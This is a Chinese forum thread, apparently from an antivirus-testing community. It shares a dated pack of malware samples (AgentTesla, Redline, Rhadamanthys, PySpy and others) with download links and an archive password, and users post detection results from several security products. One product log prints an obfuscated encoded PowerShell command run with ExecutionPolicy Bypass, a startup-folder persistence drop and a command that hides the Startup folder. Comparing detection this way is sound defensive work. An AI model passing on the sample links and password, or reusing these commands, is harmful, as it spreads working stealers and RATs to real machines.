龟包 240404 11X

神龟Turmi

下载：
https://malware.camp/Turtle/TurtleSUSP-240404.zip
分流：
https://mirrors-s1.malware.camp/Turtle/TurtleSUSP-240404.zip
https://mirrors-s2.malware.camp/Turtle/TurtleSUSP-240404.zip
https://mirrors-s3.malware.camp/Turtle/TurtleSUSP-240404.zip
龟包列表：
https://malware.camp/Turtle/

t0kenzero

cylance 11X
TS-240404-06-DiscordRAT-231a79  
密钥:RN2024



会从Github上下东西

smz2011

卡巴 扫描剩4x
kill 7x

Creeper_Hello

DeepInstinct
静态：10x  漏 ：TS-240404-11-PySpy-e466a7.bat

不知起什么名

火绒
扫描4x+启发2x

1. 病毒库时间：2024-04-04 16:36
   
2. 开始时间：2024-04-04 22:25
   
3. 总计用时：00:00:01
   
4. 扫描对象：36
   
5. 扫描文件：11
   
6. 发现风险：4
   
7. 已处理风险：4
   
8. 病毒详情：
   
9. 风险路径：D:\Download\TurtleSUSP-240404\TS-240404-04-Xeno-b5d3fe.exe, 病毒名：Trojan/MSIL.Agent.dj, 病毒ID：9e61267a319f589e, 处理结果：已处理，删除文件
   
10. 风险路径：D:\Download\TurtleSUSP-240404\TS-240404-05-Xeno-bcb4ac.exe, 病毒名：Trojan/MSIL.Agent.dj, 病毒ID：9e61267a319f589e, 处理结果：已处理，删除文件
    
11. 风险路径：D:\Download\TurtleSUSP-240404\TS-240404-01-AgentTesla(PNG)-114bb7.exe, 病毒名：TrojanSpy/MSIL.AgentTesla.mq, 病毒ID：ac3cb7ce3931cea3, 处理结果：已处理，删除文件
    
12. 风险路径：D:\Download\TurtleSUSP-240404\TS-240404-07-Redline-70c2f9.exe, 病毒名：Trojan/Injector.bfs, 病毒ID：3f6df37acd8bc223, 处理结果：已处理，删除文件：
    
13. 风险路径：D:\Download\TurtleSUSP-240404\TS-240404-08-Snake-8cc9e2.exe, 病毒名：ADV:TrojanSpy/MSIL.Stealer!meteor, 病毒ID：4a7ffd6cc7dd1ce4, 处理结果：已处理，删除文件
    
14. 风险路径：D:\Download\TurtleSUSP-240404\TS-240404-03-AgentTesla(PNG)-051cd4.exe, 病毒名：ADV:TrojanSpy/MSIL.Stealer!meteor, 病毒ID：4a7ffd6cc7dd1ce4, 处理结果：已处理，删除文件
    

复制代码

双击2x+1x

1. 病毒名称：Trojan/MSIL.Injector.np
   
2. 病毒ID：2EC8D38D93924346
   
3. 虚拟地址：0x000000004F460000
   
4. 映像大小：584KB
   
5. 是否完整映像：否
   
6. 数据流哈希：84088dca
   
7. 操作结果：已处理
   
8. 进程ID：7268
   
9. 操作进程：C:\Users\Administrator\Desktop\TS-240404-02-AgentTesla-2c5266.exe
   
10. 
    
11. 病毒名称：ADV:Trojan/GenInjector.A!1.27
    
12. 病毒路径：C:\Users\Administrator\Desktop\TS-240404-02-AgentTesla-2c5266.exe
    
13. 操作结果：已处理
    
14. 
    
15. 病毒名称：Trojan/Agent.bnp
    
16. 病毒ID：73F386FE6AEE34D4
    
17. 虚拟地址：0x0000000003230000
    
18. 映像大小：436KB
    
19. 是否完整映像：否
    
20. 数据流哈希：9f347948
    
21. 操作结果：已处理
    
22. 进程ID：4720
    
23. 操作进程：C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    
24. 操作进程命令行：C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    
25. 父进程ID：1792
    
26. 父进程：C:\Users\Administrator\Desktop\TS-240404-09-Rhadamanthys-d8a319.exe
    
27. 父进程命令行："C:\Users\Administrator\Desktop\TS-240404-09-Rhadamanthys-d8a319.exe"
    
28. 
    
29. 防护项目：利用PowerShell执行可疑脚本
    
30. 执行文件：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    
31. 执行命令行：Powershell  -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAUQBXAFIAawBMAFYAUgA1AGMARwBVAGcAUQBDAEkATgBDAGkAQQBnAEkAQwBCADEAYwAyAGwAdQBaAHkAQgBUAGUAWABOADAAWgBXADAANwBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABMAGwASgAxAGIAbgBSAHAAYgBXAFUAdQBTAFcANQAwAFoAWABKAHYAYwBGAE4AbABjAG4AWgBwAFkAMgBWAHoATwB3ADAASwBEAFEAbwBnAEkAQwBBAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAVgB6AFoAWABJAHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFkAbQA5AHYAYgBDAEIAVABhAEcAOQAzAFYAMgBsAHUAWgBHADkAMwBLAEUAbAB1AGQARgBCADAAYwBpAEIAbwBWADIANQBrAEwAQwBCAHAAYgBuAFE
    
32. 操作结果：已允许
    
33. 进程ID：6944
    
34. 操作进程：C:\Users\Administrator\Desktop\TS-240404-11-PySpy-e466a7.bat
    
35. 操作进程命令行：C:\Windows\system32\cmd.exe /c ""C:\Users\Administrator\Desktop\TS-240404-11-PySpy-e466a7.bat" "
    
36. 
    
37. 防护项目：启动目录(扩展保护)
    
38. 目标文件：C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\TS-240404-11-PySpy-e466a7.bat
    
39. 操作结果：已允许
    
40. 进程ID：6944
    
41. 操作进程：C:\Users\Administrator\Desktop\TS-240404-11-PySpy-e466a7.bat
    
42. 操作进程命令行：C:\Windows\system32\cmd.exe /c ""C:\Users\Administrator\Desktop\TS-240404-11-PySpy-e466a7.bat" "
    
43. 
    
44. 防护项目：隐藏文件属性
    
45. 执行文件：C:\Windows\System32\attrib.exe
    
46. 执行命令行：attrib  +h +s C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    
47. 操作结果：已阻止
    
48. 进程ID：6944
    
49. 操作进程：C:\Users\Administrator\Desktop\TS-240404-11-PySpy-e466a7.bat
    
50. 操作进程命令行：C:\Windows\system32\cmd.exe /c ""C:\Users\Administrator\Desktop\TS-240404-11-PySpy-e466a7.bat" "
    
51. 
    

复制代码

其余miss总计8x+1x

祸兮福所倚

8X剩3

心醉咖啡

360

GDHJDSYDH

EIS kill 10x，剩下1x EIS+KFA扫描miss，沙箱内双击miss

东南大学

CS静态8x

1094947421